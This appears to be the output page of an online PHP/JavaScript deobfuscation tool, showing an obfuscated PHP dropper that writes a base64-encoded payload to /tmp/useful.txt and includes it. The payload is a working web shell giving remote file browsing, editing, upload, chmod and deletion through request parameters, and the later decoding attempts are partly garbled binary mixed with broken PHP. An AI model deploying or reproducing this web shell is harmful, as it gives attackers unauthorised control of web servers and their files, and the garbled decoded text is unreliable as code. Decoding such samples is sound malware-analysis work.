Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


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print_r(file_put_contents("/tmp/useful.txt", base64_decode("PD89Jzxocj4nO2lmKDEpeyRhPXJlYWxwYXRoKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pO2Z1bmN0aW9uIHgoJGIpe3JldHVybiBiYXNlNjRfZW5jb2RlKCRiKTt9ZnVuY3RpbgeSgkYil7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJGIpO31mb3JlYWNoKCRfR0VUIGFzICRjPT4kZCkkX0dFVFskY109eSgkZCk7aWYoaXNzZXQoJF9HRVRbJ2QnXSwkX0dFVFsnZiddKSYmIWlzX2RpcigkX0dFVFsnZCddLicvJy4kX0dFVFsnZiddKSl7aWYoaXNzZXQoJF9QT1NUWyd0J10pKWVjaG8gJ0ZJTEUgJy4oZmlsZV9wdXRfY29udGVudHMoJF9HRVRbJ2QnXS4nLycuJF9QT1NUWydmJ10sJF9QT1NUWyd0J10pPydkb25lJzonZmFpbGVkJykuJyB1cGRhdGluZy4nO2VjaG8gJF9HRVRbJ2YnXS4nPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSI/Jy4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJuJyI+PGlucHV0IG5hbWU9ImYiIHZhbHVlPSInLiRfR0VUWydmJ10uJyI+PHRleHRhcmVhIG5hbWU9InQiPicuaHRtbHNwZWNpYWxjaGFycyhwcmVnX3JlcGxhY2UoJy9bXihceDAwLVx4N2YpXS8nLCcnLChmaWxlX2dldF9jb2ZWcygkX0dFVFsnZCddLicvJy4kX0dFVFsnZiddKSkpKS4nPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9dXBkYXRlPjwvZm9ybT4nO31pZihpc3NldCgkX0dFVFsnZCddLCRfR0VUWydmJ10sJF9HRVRbJ2MnXSkpZWNobyAnQ0hNT0QgJy4oY2htb2QoJF9HRVRbJ2QnXS4nLycuJF9HRVRbJ2YnXSxvY3RkZWMoJF9HRVRbJ2MnXSkpPydkblJzonZmFpbGVkJyk7aWYoaXNzZXQoJF9HRVRbJ2QnXSwkX0ZJTEVTWyd1J10pKWVjaG8gJ1VQTE9BRCAnLihtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndSddWyd0bXBfbmFtZSddLCRfR0VUWydkJ10uJy8nLmJhc2VuYW1lKCRfRklMRVNbJ3UnXVsnbmFtZSddKSk/J2RvbmUnOidmYWlsZWQnKTtpZihpc3NldCgkX0dFVFsnZCddLCRfR0VUWyd4J10pKWVjaG8gJ0RFTEVURSAnLih1bmxpbmsoJF9HRVRbJ2QnXS4nLycuJF9HRVRbJ3gnXSk/J2RvbmUnOidmYWlsZWQnKTskZT1yZWFscGF0aChpc3NldCgkX0dFVFsnZCddKT8kX0dFVFsnZCddOiRhKTtjaGRpcigkZSk7ZWNobyAnPGhyPmRvY3Jvb3Q6IDxhIGhyZWY9Ij9kPScueCgkYSkuJyI+Jy4kYS4nPC9hPjxocj5jdXJkaXI6ICcuJGUuJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIjIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idSI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwTDBhZCI+PC9mb3JtPjx0YWJsZSBib3JkZXI9MT4nO2ZvcmVhY2goc2NhbmRpcigkZSkgYXMgJHYpeyR1PXJlYWxwYXRoKCR2KTskcz1zdGF0KCR1KTtlY2hvICc8dHI+PHRkPicuKCRzWydtb2RlJ10+PTB4ODAwMD8nPGEgaHJlZj0iP2Q9JyKCRlKS4nJng9JyKCR2KS4nIj5YPC9hPic6JycpLic8L3RkPjx0ZD48YSBocmVmPSI/Jy4oJHNbJ21vZGUnXT49MHg4MDAwPydkPScueCgkZSkuJyZmPScueCgkdik6J2Q9Jy54KCR1KSkuJyIvPicuJHYuJzwvYT48L3RkPjx0ZD48aW5wdXQgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJjPXByb21wdChgY2htb2Q6YCx0aGlzLnZhbHVlKSxjP2xvY2F0aW9uLmhyZWY9YD9kPScueCgkZSkuJyZmPScueCgkdikuJyZjPWArYnRvYShjKTowIiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCRzWydtb2RlJ10pLC00KS4nIj48L3RkPjx0ZD4nLiRzWydzaXplJ10uJzwvdGQ+PC90cj4nO31lY2hvICc8L3RhYmxlPic7fT8+")));
 include "/tmp/useful.txt";

print_r(file_put_contents("/tmp/useful.txt", ='<hr>';
	if(1){
	$a=realpath($_SERVER['DOCUMENT_ROOT']);
		function x($b){
		return base64_encode($b);
	}
	functinF"&WGW&&6ScEFV6FRF"f&V6EtUB2F3FBEtUEF5גFBb76WBEtUEvBuEtUEvbuҒbb5F"EtUEvBurrEtUEvbuҒb76WBE5EwBuҒV6tdRrfUWE6FVG2EtUEvBurrE5EvbuE5EwBuғvFRsvfVBrrWFFrsV6EtUEvbusf&WFC7B7F#rE4U%dU%uTU%5E$rn'"><input name="f" value="'.$_GET['f'].'"><textarea name="t">'.htmlspecialchars(preg_replace('/[^(\x00-\x7f)]/','',(file_get_cofVs($_GET['d'].'/'.$_GET['f'])))).'</textarea><input type=submit value=update></form>';
}
if(isset($_GET['d'],$_GET['f'],$_GET['c']))echo 'CHMOD '.(chmod($_GET['d'].'/'.$_GET['f'],octdec($_GET['c']))?'dnRsvfVBrb76WBEtUEvBuEdU5wRuҒV6uUBrfUWFVEfREdU5wRuղwFRuEtUEvBurr&6VREdU5wRuղvRuҒvFRsvfVBrb76WBEtUEvBuEtUEwuҒV6tDTUDRrVƖ沂EtUEvBurrEtUEwuғvFRsvfVBrFS&VF76WBEtUEvBuғEtUEvBuӢF6F"FRV6sƇ#F7&C&Vc#Cr炂Fr#rFsƇ#7W&F#rFRsf&WFC'7B"7F"2"V7GS&VF'Bf&FF#ƖWBGS&fR"S'R#ƖWBGS'7V&֗B"fVS%WB#f&F&R&&FW#sf&V666F"FR2GbGS&VFGbG37FBGRV6sG#FCrG5vFRus&Vc#Cr($e).'&x='"Gbr#srrsFCFC&Vc#rG5vFRuvCr炂FRrfcr炂GbvCr炂GRr"rGbsFCFCƖWBGS&'WGF"6Ɩ6&3&B6CF2fVR36F&VcCr炂FRrfcr炂Gbrf3'F2"fVS"r7V'7G"7&FbrVrG5vFRuҒBr#FCFCrG5w6RusFCG#sV6sF&Ss));
 include "/tmp/useful.txt";

print_r(file_put_contents("/tmp/useful.txt", ='<hr>';
	if(1){
	$a=realpath($_SERVER['DOCUMENT_ROOT']);
		function x($b){
		return base64_encode($b);
	}
	functinF"&WGW&&6ScEFV6FRF"f&V6EtUB2F3FBEtUEF5גFBb76WBEtUEvBuEtUEvbuҒbb5F"EtUEvBurrEtUEvbuҒb76WBE5EwBuҒV6tdRrfUWE6FVG2EtUEvBurrE5EvbuE5EwBuғvFRsvfVBrrWFFrsV6EtUEvbusf&WFC7B7F#rE4U%dU%uTU%5E$rn'"><input name="f" value="'.$_GET['f'].'"><textarea name="t">'.htmlspecialchars(preg_replace('/[^(-)]/','',(file_get_cofVs($_GET['d'].'/'.$_GET['f'])))).'</textarea><input type=submit value=update></form>';
}
if(isset($_GET['d'],$_GET['f'],$_GET['c']))echo 'CHMOD '.(chmod($_GET['d'].'/'.$_GET['f'],octdec($_GET['c']))?'dnRsvfVBrb76WBEtUEvBuEdU5wRuҒV6uUBrfUWFVEfREdU5wRuղwFRuEtUEvBurr&6VREdU5wRuղvRuҒvFRsvfVBrb76WBEtUEvBuEtUEwuҒV6tDTUDRrVƖ沂EtUEvBurrEtUEwuғvFRsvfVBrFS&VF76WBEtUEvBuғEtUEvBuӢF6F"FRV6sƇ#F7&C&Vc#Cr炂Fr#rFsƇ#7W&F#rFRsf&WFC'7B"7F"2"V7GS&VF'Bf&FF#ƖWBGS&fR"S'R#ƖWBGS'7V&֗B"fVS%WB#f&F&R&&FW#sf&V666F"FR2GbGS&VFGbG37FBGRV6sG#FCrG5vFRus&Vc#Cr($e).'&x='"Gbr#srrsFCFC&Vc#rG5vFRuvCr炂FRrfcr炂GbvCr炂GRr"rGbsFCFCƖWBGS&'WGF"6Ɩ6&3&B6CF2fVR36F&VcCr炂FRrfcr炂Gbrf3'F2"fVS"r7V'7G"7&FbrVrG5vFRuҒBr#FCFCrG5w6RusFCG#sV6sF&Ss));
 include "/tmp/useful.txt";



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